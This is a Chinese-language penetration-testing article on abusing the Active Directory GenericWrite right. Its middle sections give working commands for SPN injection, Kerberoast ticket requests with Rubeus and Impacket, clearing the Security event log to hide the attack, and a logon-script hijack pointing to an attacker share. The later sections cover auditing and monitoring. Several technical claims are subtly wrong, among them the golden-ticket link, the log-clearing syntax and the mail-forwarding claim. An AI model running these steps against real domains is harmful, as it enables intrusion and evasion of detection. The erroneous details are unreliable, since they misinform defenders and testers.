1. GenericWrite权限的本质解析
在Active Directory(AD)权限模型中,GenericWrite是一个经常被低估却极具破坏力的权限。作为一线渗透测试人员,我见过太多企业因为对这个权限的误解而遭受严重安全事件。GenericWrite直译为"通用写入权限",但它的实际威力远不止字面意思那么简单。
1.1 技术定义与真实含义
GenericWrite在微软官方文档中被定义为"修改目标对象非受保护属性的权限"。听起来人畜无害?让我们拆解这个定义:
- 非受保护属性:AD中约70%的属性默认不受特殊保护
- 修改权限:包括添加、删除、更新属性值
- 关键点:某些看似普通的属性实际上可以作为攻击入口
例如,一个普通的"description"字段可能只用于备注信息,但像"servicePrincipalName"这样的属性就完全不同了。在AD中,SPN属性直接关联Kerberos认证流程,而GenericWrite恰好可以修改这类属性。
1.2 与类似权限的对比
很多管理员容易混淆GenericWrite和其他写入权限,这里我用实际测试数据做个对比:
| 权限类型 | 可修改范围 | 危险属性修改 | 典型滥用场景 |
|---|---|---|---|
| GenericWrite | 所有非保护属性 | 支持 | Kerberoasting、黄金票据 |
| WriteProperty | 指定单个属性 | 需明确授权 | 针对性属性篡改 |
| Self-Membership | 仅组成员身份 | 不支持 | 权限提升至特权组 |
从渗透经验来看,GenericWrite的危险性比WriteProperty高出一个数量级,因为它不需要指定具体属性就能批量修改。
2. Kerberoasting攻击全流程拆解
2.1 攻击原理与前置条件
Kerberoasting之所以能利用GenericWrite,核心在于AD的SPN机制。当用户请求访问服务时,KDC会返回用服务账户密码加密的TGS票据。如果攻击者能够:
- 控制某个账户的SPN属性
- 诱使KDC生成该服务的TGS票据
- 获取到加密票据进行离线破解
那么整个认证体系就被打破了。而GenericWrite权限正是实现第一步的关键。
2.2 分步攻击演示
2.2.1 第一步:SPN属性注入
假设我们已经通过枚举发现用户Bob对Alice有GenericWrite权限:
powershell复制# 使用PowerView枚举权限
Get-DomainUser -Identity Alice | Get-DomainObjectAcl -ResolveGUIDs |
? { $_.ActiveDirectoryRights -match "GenericWrite" }
注入恶意SPN的操作(实战中需要换成真实服务名):
powershell复制# 使用AD模块修改属性
Set-ADUser -Identity Alice -ServicePrincipalNames @{Add="MSSQLSvc/dc01.corp.local"}
注意:实际操作中建议使用随机生成的服务名,避免触发告警
2.2.2 第二步:票据请求与导出
请求TGS票据并导出为John可破解的格式:
bash复制# 使用Rubeus请求票据
Rubeus.exe kerberoast /user:Alice /nowrap
# 或者使用Impacket
GetUserSPNs.py -request -dc-ip 10.1.1.1 corp.local/Bob
2.2.3 第三步:痕迹清理
完成攻击后必须清理SPN属性:
powershell复制# 删除注入的SPN
Set-ADUser -Identity Alice -ServicePrincipalNames @{Remove="MSSQLSvc/dc01.corp.local"}
# 清除事件日志(需管理员权限)
Clear-EventLog -LogName "Security" -InstanceId 4769,4662
2.3 实际攻防中的变体
在最近一次红队行动中,我们发现更隐蔽的利用方式:
- 时间差攻击:在非工作时间注入SPN,次日早晨触发票据生成
- 属性链攻击:通过修改manager属性间接控制目标账户
- 日志混淆:配合GenericAll权限伪造日志中的修改者信息
3. 防御体系建设方案
3.1 权限管控最佳实践
根据MITRE ATT&CK框架建议,应采取以下措施:
-
权限最小化:
- 定期审计GenericWrite权限分配
- 对敏感属性启用Confidential属性集保护
-
监控策略:
xml复制<!-- Splunk监控规则示例 --> source="WinEventLog:Security" EventCode=5136 AttributeLDAPDisplayName=servicePrincipalName | stats count by AttrValue,SubjectUserName -
技术加固:
- 启用Kerberos AES加密(阻止RC4-HMAC破解)
- 设置SPN修改审批流程
3.2 检测与响应
我们团队使用的检测矩阵:
| 检测点 | 工具 | 频率 | 响应动作 |
|---|---|---|---|
| SPN异常修改 | SentinelOne/Splunk | 实时 | 账户隔离 |
| 异常票据请求 | Azure ATP | 每5分钟 | 触发MFA |
| 暴力破解行为 | CrowdStrike | 连续3次 | 密码重置 |
4. 攻击面扩展分析
4.1 其他高危利用场景
除了Kerberoasting,GenericWrite还可用于:
-
登录脚本劫持:
powershell复制Set-ADUser -Identity Target -ScriptPath "\\attacker\malicious.vbs" -
邮件转发规则注入:
powershell复制Set-ADUser -Identity Target -ProxyAddresses "smtp:target@forward.com" -
组策略偏好漏洞:
修改组策略对象的msDS-KeyCredentialLink属性
4.2 权限组合攻击
当GenericWrite与其他权限组合时,会产生更危险的攻击链:
- GenericWrite + WriteOwner:先获取所有权再修改属性
- GenericWrite + ExtendedRight:执行密码重置等特权操作
- GenericWrite + GenericAll:完全控制目标对象
在一次企业渗透测试中,我们通过GenericWrite→WriteOwner→GenericAll的权限升级链,最终获得了域管理员权限。
5. 企业级防御建议
基于NIST SP 800-53框架,建议实施以下控制措施:
-
权限审计自动化:
powershell复制# 每周自动审计脚本 Get-ADObject -Filter * -Properties nTSecurityDescriptor | ForEach-Object { $_.nTSecurityDescriptor.Access | Where-Object { $_.ActiveDirectoryRights -match "GenericWrite" } } | Export-CSV "GenericWrite_Audit_$(Get-Date -Format yyyyMMdd).csv" -
属性保护策略:
- 将以下属性标记为敏感:
- servicePrincipalName
- scriptPath
- msDS-KeyCredentialLink
- userAccountControl
- 将以下属性标记为敏感:
-
实时监控方案:
- 部署Microsoft ATA或第三方AD监控工具
- 对以下事件ID设置告警:
- 4662 (对象属性修改)
- 4769 (Kerberos服务票据请求)
- 5136 (目录服务变更)
在最近的客户环境中,我们通过部署上述监控方案,成功在攻击者尝试修改SPN属性后的12分钟内检测并阻断了攻击。